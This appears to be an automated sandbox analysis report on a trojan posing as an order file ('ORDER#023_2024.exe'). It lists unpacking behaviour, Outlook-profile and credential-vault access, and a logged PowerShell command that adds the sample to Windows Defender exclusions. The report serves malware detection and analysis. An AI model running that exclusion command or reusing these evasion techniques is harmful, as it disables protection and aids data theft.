Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: ORDER#023_2024.exe

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_02A3DF14	0_2_02A3DF14
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_06F548D8	0_2_06F548D8
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_06F55628	0_2_06F55628
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_06F535B0	0_2_06F535B0
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_06F5A188	0_2_06F5A188
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_06F53E20	0_2_06F53E20
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_06F55FD8	0_2_06F55FD8
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_06F55FCB	0_2_06F55FCB
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_06F539E8	0_2_06F539E8
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_014C4140	5_2_014C4140
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_014C4D58	5_2_014C4D58
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_014C4488	5_2_014C4488
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_067F8F68	5_2_067F8F68
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_067FF590	5_2_067FF590
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_067F2B58	5_2_067F2B58
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_067FA890	5_2_067FA890
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_067FE1BB	5_2_067FE1BB
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_067F869B	5_2_067F869B
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_067F5C31	5_2_067F5C31
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_06841CB0	5_2_06841CB0
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_06843908	5_2_06843908

Source: ORDER#023_2024.exe, 00000000.00000002.1679554005.0000000002B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe, 00000000.00000002.1689046037.00000000053D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe, 00000000.00000002.1692813648.00000000076F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe, 00000000.00000002.1679554005.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7b99aba2-3c62-4861-97de-170caa2c3039.exe4 vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe, 00000000.00000002.1678208666.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe, 00000000.00000002.1681703639.0000000003B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe, 00000000.00000002.1681703639.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7b99aba2-3c62-4861-97de-170caa2c3039.exe4 vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe, 00000000.00000002.1681703639.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe, 00000000.00000000.1651295321.0000000000762000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameJmYB.exe0 vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe, 00000005.00000002.2903371766.000000000042C000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7b99aba2-3c62-4861-97de-170caa2c3039.exe4 vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe, 00000005.00000002.2903789840.00000000010F8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs ORDER#023_2024.exe
Source: ORDER#023_2024.exe	Binary or memory string: OriginalFilenameJmYB.exe0 vs ORDER#023_2024.exe

Source: ORDER#023_2024.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ORDER#023_2024.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack, O.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack, O.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack, P.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack, P.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, g58dCb1xNyIgM5il43.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, LCgYKpJHO2S8TItW51.cs	Security API names: _0020.SetAccessControl
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, LCgYKpJHO2S8TItW51.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, LCgYKpJHO2S8TItW51.cs	Security API names: _0020.AddAccessRule
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, LCgYKpJHO2S8TItW51.cs	Security API names: _0020.SetAccessControl
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, LCgYKpJHO2S8TItW51.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, LCgYKpJHO2S8TItW51.cs	Security API names: _0020.AddAccessRule
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, g58dCb1xNyIgM5il43.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/6@3/1

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ORDER#023_2024.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3168:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ma5vwock.gkh.ps1

Jump to behavior

Source: ORDER#023_2024.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: ORDER#023_2024.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ORDER#023_2024.exe

ReversingLabs: Detection: 65%

Source: unknown	Process created: C:\Users\user\Desktop\ORDER#023_2024.exe "C:\Users\user\Desktop\ORDER#023_2024.exe"
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe"
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Users\user\Desktop\ORDER#023_2024.exe "C:\Users\user\Desktop\ORDER#023_2024.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Users\user\Desktop\ORDER#023_2024.exe "C:\Users\user\Desktop\ORDER#023_2024.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe"	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Users\user\Desktop\ORDER#023_2024.exe "C:\Users\user\Desktop\ORDER#023_2024.exe"	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process created: C:\Users\user\Desktop\ORDER#023_2024.exe "C:\Users\user\Desktop\ORDER#023_2024.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: ORDER#023_2024.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: ORDER#023_2024.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, LCgYKpJHO2S8TItW51.cs	.Net Code: e2sKbhnwKs System.Reflection.Assembly.Load(byte[])
Source: 0.2.ORDER#023_2024.exe.53d0000.4.raw.unpack, L2.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, LCgYKpJHO2S8TItW51.cs	.Net Code: e2sKbhnwKs System.Reflection.Assembly.Load(byte[])
Source: 0.2.ORDER#023_2024.exe.3ba1d60.3.raw.unpack, L2.cs	.Net Code: System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_02A3EE60 push esp; iretd	0_2_02A3EE61
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 0_2_06F51711 push eax; iretd	0_2_06F5171D
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_014CFAC1 push es; ret	5_2_014CFAD0
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Code function: 5_2_067F26B0 push es; ret	5_2_067F26C0

Source: ORDER#023_2024.exe

Static PE information: section name: .text entropy: 7.767634101805021

Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, PRGi5AO7gC1weP7l0w.cs	High entropy of concatenated method names: 'uyMR1wbD1g', 'B8hRA6y39m', 'ChoR6IZ6Er', 'VMcRpx58is', 'onTRiZ25lA', 'MSrRXXLCr0', 'jcuRhA0hyO', 'Yp5RjgslrC', 's7eR0YhYQt', 'L91RIMKOur'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, X5DkZbFK444lv0qKDqV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sTdolwte3v', 'oc9oLxCqUf', 'GNgou0DbNW', 'Qa6ooxyhOS', 'vxdovZuO5m', 'r42oHJWXLC', 'OwGoVMgsWy'
